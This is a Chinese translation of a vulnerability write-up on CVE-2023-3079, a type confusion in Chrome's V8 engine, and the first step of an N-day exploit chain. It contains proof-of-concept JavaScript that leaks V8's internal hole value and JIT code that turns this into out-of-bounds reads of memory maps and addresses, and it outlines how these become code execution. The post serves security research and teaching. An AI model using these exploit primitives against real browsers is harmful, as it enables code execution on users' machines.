利用 N-day 漏洞攻击所有网站 - Chrome 渲染器 RCE
这篇博文是有关我们在X上演示的 N-day 全链漏洞利用中使用的漏洞系列文章的第一篇。在这篇博文中,我们从 Chrome 渲染器漏洞开始,这是漏洞利用链中的第一个漏洞。利用的漏洞是 CVE-2023-3079,这是 V8 中的类型混淆错误。
属性类型
假设我们有一个 JavaScript 对象{ a: 1, b: 2, 0: 3 }。此对象具有两个命名属性(a,b)和一个整数索引属性(0)。当我们在没有任何上下文的情况下说“属性”时,它通常指的是命名属性;整数索引属性也称为元素。
在大多数情况下,属性和元素都由数组支持。这种属性表示方法称为“快速属性(元素)”,因为它比使用字典的其他表示方法更快。
下图展示了 V8 中 JavaScript 对象的基本内存布局。
元素有多种类型,具体取决于值的类型以及值如何存储到存储中。最重要的是,有两种类型的元素:打包元素或有孔元素。如果所有元素都是相邻的,则元素存储是打包的。另一方面,如果元素之间有孔,则元素存储是有孔的。例如,[1,,3]第二个条目就是一个孔。在 V8 中,孔用一个称为“The Hole”的特殊值填充。由于它由引擎内部使用,因此不能暴露给 JavaScript。因此,当 V8 从有孔元素存储中检索元素时,它会验证该值是否为“The Hole”,然后返回未定义。
内联缓存
由于 JavaScript 是一种动态类型语言,JavaScript 引擎可能会根据对象的类型对单行代码表现出不同的行为。
以下面的 JavaScript 代码为例:
function set_keyed_prop(obj, key, val) { obj[key] = val;}
该函数非常简单,存储 val 到 key 的 obj 属性中。但是,有几件事需要考虑:
是 key 整数索引,还是字符串?
key 属性位于哪里 obj ?
每次执行此类检查的成本很高,因此 JavaScript 引擎实施了名为内联缓存 (IC) 的优化,以加快属性访问速度。IC 利用类型局部性,这意味着程序中某个点的操作数类型很少更改。最初,JavaScript 引擎开始时没有类型信息,因此它运行未优化的代码版本,收集在执行过程中遇到的对象的类型信息。稍后,引擎利用收集到的配置文件来优化性能;它可以调用 IC 处理程序或实时编译代码到本机。
以下代码片段说明了 JavaScript 引擎如何在内部处理上述函数:
if (typeof(obj) == A) { FAST_ROUTINE_OPTIMIZED_FOR_A();} else { SLOW_GENERIC_ROUTINE();}
JavaScript 引擎可以在程序点接受不同类型的对象,因此 IC 也可以处理多种类型。在这种情况下,我们称之为多态 IC,而较早的情况被称为单态。
The Bug
错误在于 IC 处理属性写入的方式 JSStrictArgumentsObject 。
在 V8 中,每个支持 IC 的字节码都有自己的 IC 插槽,而 IC 插槽是从映射(隐藏类)到 IC 处理程序的映射。插槽可能没有条目(未初始化的 IC)或几个映射(单态 IC、多态 IC)。当多态 IC 插槽中的条目过多或新的 IC 处理程序与现有处理程序不兼容时,该插槽将逃逸到巨型态状态;插槽使用通用(慢速)处理程序。
该漏洞存在于 SetKeyedProperty 字节码的 IC 实现中。
function set_keyed_prop(obj, key, val) { obj[key] = val; // SetKeyedProperty}
由于有两种类型的属性,因此 IC 也有两种类型的处理程序:属性处理程序和元素处理程序。要安装元素处理程序, KeyedStoreIC::StoreElementHandler()则调用元素处理程序以根据对象的类型选择适当的元素处理程序。
Handle<Object> KeyedStoreIC::StoreElementHandler( Handle<Map> receiver_map, KeyedAccessStoreMode store_mode, MaybeHandle<Object> prev_validity_cell) { ...
if (...) { ... } else if (receiver_map->has_fast_elements() || receiver_map->has_sealed_elements() || receiver_map->has_nonextensible_elements() || receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) { TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub); code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode); ... } ...}
JSStrictArgumentsObject 具有快速元素,因此 StoreHandler::StoreFastElementBuiltin()调用以加载快速元素处理程序。
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate, KeyedAccessStoreMode mode) { switch (mode) { ... case STORE_AND_GROW_HANDLE_COW: return BUILTIN_CODE(isolate, StoreFastElementIC_GrowNoTransitionHandleCOW); ... }}
在 中 StoreHandler::StoreFastElementBuiltin ,buggy 处理程序是 StoreFastElementIC_GrowNoTransitionHandleCOW 。顾名思义,处理程序不会产生映射转换(这意味着元素种类不会改变),并且如果索引等于存储的容量(即,在元素存储的末尾放置一个值),则它会扩展元素存储。当处理程序扩展元素存储时,扩展的存储可能具有额外的空间,并且它们充满了“The Hole”。
默认元素 a JSStrictArgumentsObject 是 PACKED_ELEMENTS ,在处理程序处理后它将保持不变。这是有问题的,因为同一函数的慢速版本说将元素添加到非 JSArray 对象应该使其elements_kind HOLEY_ELEMENTS 。
Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index, Handle<Object> value, PropertyAttributes attributes) {
...
// [ 1 ] 'to' is elements kind from 'value' ElementsKind to = Object::OptimalElementsKind(*value, isolate);
// [ 2 ] Change to Holey Element Kind if needed // 1. If the elements kind of the object is already holey // 2. If object is not a JSArray // 3. If index is larger than the length of the JSArray if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) || index > old_length) { to = GetHoleyElementsKind(to); kind = GetHoleyElementsKind(kind); } // [ 3 ] Choose the more general elements kind between 'kind' and 'to' to = GetMoreGeneralElementsKind(kind, to); ...}
使这种缺失的地图过渡可利用的另一件事是 V8 如何对元素访问进行边界检查;它检查对象内的 'length' 属性的 JSArray s,而对于所有其他对象,引擎检查其元素的长度支持存储 ( FIXED_ARRAY )。
void AccessorAssembler::EmitFastElementsBoundsCheck( TNode<JSObject> object, TNode<FixedArrayBase> elements, TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition, Label* miss) { TVARIABLE(IntPtrT, var_length); Comment("Fast elements bounds check"); Label if_array(this), length_loaded(this, &var_length); GotoIf(is_jsarray_condition, &if_array); { var_length = SmiUntag(LoadFixedArrayBaseLength(elements)); Goto(&length_loaded); } BIND(&if_array); { var_length = SmiUntag(LoadFastJSArrayLength(CAST(object))); Goto(&length_loaded); } BIND(&length_loaded); GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);}
在下面,我们有一个 arguments对象和一个 JSArray .当 arguments 对象使用其元素的容量支持存储 (17) 时,使用 JSArray 其 length 属性 (1) 的值来边界检查元素访问。
DebugPrint: 0x29df0004e8dd: [JS_ARGUMENTS_OBJECT_TYPE] - map: 0x29df0019c7a1 <Map[20](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x29df00184ab9 <Object map = 0x29df001840f5> - elements: 0x29df0004e961 <FixedArray[17]> [HOLEY_ELEMENTS] - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x29df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object 0x29df000043f9: [String] in ReadOnlySpace: #callee: 0x29df0019c381 <JSFunction getArgs (sfi = 0x29df0019c2c1)> (data field 1), location: in-object 0x29df000060d1 <Symbol: Symbol.iterator>: 0x29df0014426d <AccessorInfo name= 0x29df000060d1 <Symbol: Symbol.iterator>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x29df0004e961 <FixedArray[17]> { ******* Use this capacity ******* 0: 1 1-16: 0x29df0000026d <the_hole> }
DebugPrint: 0x29df0004ea0d: [JSArray] - map: 0x29df0018e165 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x29df0018e3a9 <JSArray[0]> - elements: 0x29df0004ea61 <FixedArray[17]> [PACKED_SMI_ELEMENTS] - length: 1 ******* Use this length ******* - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x29df00000e19: [String] in ReadOnlySpace: #length: 0x29df00144285 <AccessorInfo name= 0x29df00000e19 <String[6]: #length>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x29df0004ea61 <FixedArray[17]> { 0: 1 1-16: 0x29df0000026d <the_hole> }
因此,在正常情况下,当其元素存储的大小大于元素的数量时,通过检查其“length”属性来保护对 a JSArray
的越界元素访问,而对于其他对象,它通过“The Hole”检查来保护,因为对象的元素类型为 HOLEY_ELEMENTS
。
但是,即使在扩展其元素存储后,易受攻击的处理程序仍保留其 arguments
PACKED_ELEMENTS
映射,这允许我们泄漏“The Hole”值。
下面是触发错误的概念验证 (PoC) 代码。
function set_keyed_prop(obj, key, val) { obj[key] = val;}
function leak_hole() { const IC_WARMUP_COUNT = 10; for (let i = 0; i < IC_WARMUP_COUNT; i++) { set_keyed_prop(arguments, "foo", 1); }
set_keyed_prop([], 0, 1); set_keyed_prop(arguments, arguments.length, 1);
let hole = arguments[arguments.length + 1]; return hole;}
以下是有关 PoC 代码工作原理的分步说明。
首先,有一个循环,它使用 arguments
对象和“foo”作为键进行调用 set_keyed_prop()
。循环后,将注册一个属性处理程序,其中 和 arguments
'foo' 的映射作为键,使插槽成为单态的。
DebugPrint: 0x37750019b08d: [Function] in OldSpace ... - slot #0 StoreKeyedSloppy MONOMORPHIC 0x37750019ae75 <String[3]: #foo>: StoreHandler(<unexpected>)(0x37750018fccd <Map[20](PACKED_ELEMENTS)>) { [0]: 0x37750019ae75 <String[3]: #foo> [1]: 0x37750004ca65 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> }
在这里,我们安装一个属性处理程序,而不是一个元素处理程序。这是因为无法直接安装 的 arguments
元素处理程序。如果一个键是类似 Smi 的(整数或字符串,如 '1'),而一个对象是 arguments
, KeyedStoreIC::Store()
则采用慢速路径,而不是安装有缺陷的处理程序。但是,对于普通属性, StoreIC::Store()
调用该属性以填充插槽中的处理程序。
MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object, Handle<Object> key, Handle<Object> value) { ... // If 'key' is a string, a property handler will be installed. if (key_type == kName) { ASSIGN_RETURN_ON_EXCEPTION( isolate(), store_handle, StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed), Object); if (vector_needs_update()) { if (ConfigureVectorState(MEGAMORPHIC, key)) { set_slow_stub_reason("unhandled internalized string key"); TraceIC("StoreIC", key); } } return store_handle; } ... // If 'key' is a Smi-like key, an element handler will be installed. if (use_ic) { if (!old_receiver_map.is_null()) { if (is_arguments) { set_slow_stub_reason("arguments receiver"); } ... } } ...}
然后 PoC 使用空数组进行调用 set_keyed_prop()
。由于数组不是 arguments
,因此会发生 IC 未命中,并调用 KeyedStoreIC::UpdateStoreElement()
安装新的元素处理程序。然后它调用 KeyedStoreIC::StoreElementPolymorphicHandlers()
将 IC 插槽的状态更改为多态。
void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map, KeyedAccessStoreMode store_mode, Handle<Map> new_receiver_map) { std::vector<MapAndHandler> target_maps_and_handlers; nexus()->ExtractMapsAndHandlers( &target_maps_and_handlers, [this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); }); if (target_maps_and_handlers.empty()) { Handle<Map> monomorphic_map = receiver_map; // If we transitioned to a map that is a more general map than incoming // then use the new map. if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) { monomorphic_map = new_receiver_map; } Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode); return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler); } ... StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode); ...}
KeyedStoreIC::StoreElementPolymorphicHandlers()
迭代插槽中以前的 IC 处理程序,并通过调用 StoreElementHandler()
将处理程序转换为元素处理程序。这会将 buggy 处理程序引入插槽。
void KeyedStoreIC::StoreElementPolymorphicHandlers( std::vector<MapAndHandler>* receiver_maps_and_handlers, KeyedAccessStoreMode store_mode) { ... for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) { Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first; DCHECK(!receiver_map->is_deprecated()); MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second; Handle<Object> handler; Handle<Map> transition; if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE || receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) { ... } else { ... if (!transition.is_null()) { TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_ElementsTransitionAndStoreStub); handler = StoreHandler::StoreElementTransition( isolate(), receiver_map, transition, store_mode, validity_cell); } else { handler = StoreElementHandler(receiver_map, store_mode, validity_cell); } } DCHECK(!handler.is_null()); receiver_maps_and_handlers->at(i) = MapAndHandler(receiver_map, MaybeObjectHandle(handler)); }}
此时,IC插槽如下所示:
DebugPrint: 0x5ed0019b139: [Function] in OldSpace ... - slot #0 StoreKeyedSloppy POLYMORPHIC [weak] 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b281 <Cell value= 0>) [weak] 0x05ed0018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b365 <Cell value= 0>) { [0]: 0x05ed0004cafd <Other heap object (WEAK_FIXED_ARRAY_TYPE)> [1]: 0x05ed00000ebd <Symbol: (uninitialized_symbol)> }
对 set_keyed_prop
的最后一次调用由 buggy 处理程序处理,扩展 的 arguments
元素存储,同时保持元素种类 PACKED_ELEMENTS
。
set_keyed_prop(arguments, arguments.length, 1);
以下是运行 PoC 后的 arguments
对象状态。它的元素类型是 PACKED_ELEMENTS
,元素存储是 FixedArray[17]
,其中空白处被“洞”填满。
DebugPrint: 0x5ed0004cb15: [JS_ARGUMENTS_OBJECT_TYPE] - map: 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)> [FastProperties] - prototype: 0x05ed00184ab9 <Object map = 0x5ed001840f5> - elements: 0x05ed0004cb29 <FixedArray[17]> [PACKED_ELEMENTS] - properties: 0x05ed00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x5ed00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object ... } - elements: 0x05ed0004cb29 <FixedArray[17]> { 0: 1 1-16: 0x05ed0000026d <the_hole> }
OOB 访问的孔泄漏
可以利用泄露的“The Hole”对象来实现任意越界访问。这种技术最初由 mistymntncup 共享,并且还有相关的文章可用。但是,我们还将详细说明一些细节。
这是使用“The Hole”实现越界访问的漏洞。
function leak_stuff(b) { if (b) { let index = Number(b ? the.hole : -1); index |= 0; index += 1; let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [0x1337, large_arr]; let packed_double_map_and_props = arr1.at(index * 4); let packed_double_elements_and_len = arr1.at(index * 5); let packed_map_and_props = arr1.at(index * 8); let packed_elements_and_len = arr1.at(index * 9); let fixed_arr_map = arr1.at(index * 6); let large_arr_addr = arr1.at(index * 7); return [ packed_double_map_and_props, packed_double_elements_and_len, packed_map_and_props, packed_elements_and_len, fixed_arr_map, large_arr_addr, arr1, arr2 ]; } return 0;}
最重要的行是以下行:
let index = Number(b ? the.hole : -1);index |= 0;index += 1;
第一行使用三元运算符,它返回 'The Hole' 或 -1。当变热并触发实时编译时 leak_stuff()
,三元运算符会引入一个 Phi 节点,后跟一个 JSToNumberConvertBigInt
节点。
Turbofan 是 V8 中的 JIT 编译器,具有打字阶段,编译器静态推断每个节点的类型。在打字阶段之后,注释类型如下:
Phi 节点的类型被推断为 的 The Hole
类型和整数区间 (-1, -1)
的并集,这似乎是真的。但是, JSToNumberConvertBigInt
节点的类型计算错误,因为对 Number()
with The Hole
的调用会产生 NaN
.
d8> Number(%TheHole());NaN
JSToNumberConvertBigInt
节点的类型在 OperationTyper::ToNumberConvertBigInt()
中推断。
Type OperationTyper::ToNumberConvertBigInt(Type type) { // If the {type} includes any receivers, then the callbacks // might actually produce BigInt primitive values here. bool maybe_bigint = type.Maybe(Type::BigInt()) || type.Maybe(Type::Receiver()); type = ToNumber(Type::Intersect(type, Type::NonBigInt(), zone()));
// Any BigInt is rounded to an integer Number in the range [-inf, inf]. return maybe_bigint ? Type::Union(type, cache_->kInteger, zone()) : type;}
该函数首先计算参数类型和 Type::NonBigInt() 的交集。这是 type Phi 节点的类型, Type::NonBitInt() 定义为 OR 编辑的位标志集。
// src/compiler/types.h#define INTERNAL_BITSET_TYPE_LIST(V) \ V(OtherUnsigned31, uint64_t{1} << 1) \ V(OtherUnsigned32, uint64_t{1} << 2) \ V(OtherSigned32, uint64_t{1} << 3) \ V(OtherNumber, uint64_t{1} << 4) \ V(OtherString, uint64_t{1} << 5) \ ...
#define PROPER_ATOMIC_BITSET_TYPE_LOW_LIST(V) \ ... V(Hole, uint64_t{1} << 23) \ ...
#define PROPER_BITSET_TYPE_LIST(V) \ ... V(NonBigInt, kNonBigIntPrimitive | kReceiver) \ ...
当我们展平 的所有 Type::NonBigInt() 子标志时,我们可以看到 'The Hole' 的类型不在集合中。
SymbolUnsigned30Negative31OtherUnsigned31OtherSigned32Unsigned30OtherUnsigned31OtherUnsigned32OtherNumberMinusZeroNaNInternalizedStringOtherStringBooleanNullUndefinedWasmObjectArrayCallableFunctionClassConstructorBoundFunctionOtherCallableOtherObjectOtherUndetectableCallableProxyOtherProxy
因此,“The Hole”的类型被交集过滤,这会导致类型错误。此错误通过以下操作传播。
以下是该漏洞的注释版本,其中包含编译器推断的类型以及使用“The Hole”执行代码时的实际值。
function leak_stuff(b) { if (b) { let index = Number(b ? the.hole : -1); // [-1, -1] (actual value: NaN) index |= 0; // [-1, -1] (actual value: 0) index += 1; // [0, 0] (actual value: 1)
let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index * 4); let packed_double_elements_and_len = arr1.at(index * 5);
let packed_map_and_props = arr1.at(index * 8); let packed_elements_and_len = arr1.at(index * 9);
let fixed_arr_map = arr1.at(index * 6);
let large_arr_addr = arr1.at(index * 7);
return [ packed_double_map_and_props, packed_double_elements_and_len, packed_map_and_props, packed_elements_and_len, fixed_arr_map, large_arr_addr, arr1, arr2 ]; } return 0;}
由于编译器认为 的 index 值始终为零,因此它认为所有边界检查都是 arr1 不必要的,并对其进行了优化。但是,当稍后调用该函数时, index 该函数是一个非零值,它将访问 arr1 越界。
编写EXP
现在我们有了越界内存访问原语,并且有一种标准方法可以从 oob 原语实现代码执行。典型的 V8 漏洞利用将:
1、构造 addr_of,任意读/写原语
- 这通常可以通过创建几个相邻的数组(PACKED_ELEMENTS
和PACKED_DOUBLE_ELEMENTS
)并使用越界访问原语覆盖数组的长度属性来实现。2、使用原语来获得任意代码执行
- 为此,需要逃离 V8 沙箱。
- 我们已经在我们的博客上发布了详细的解释。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。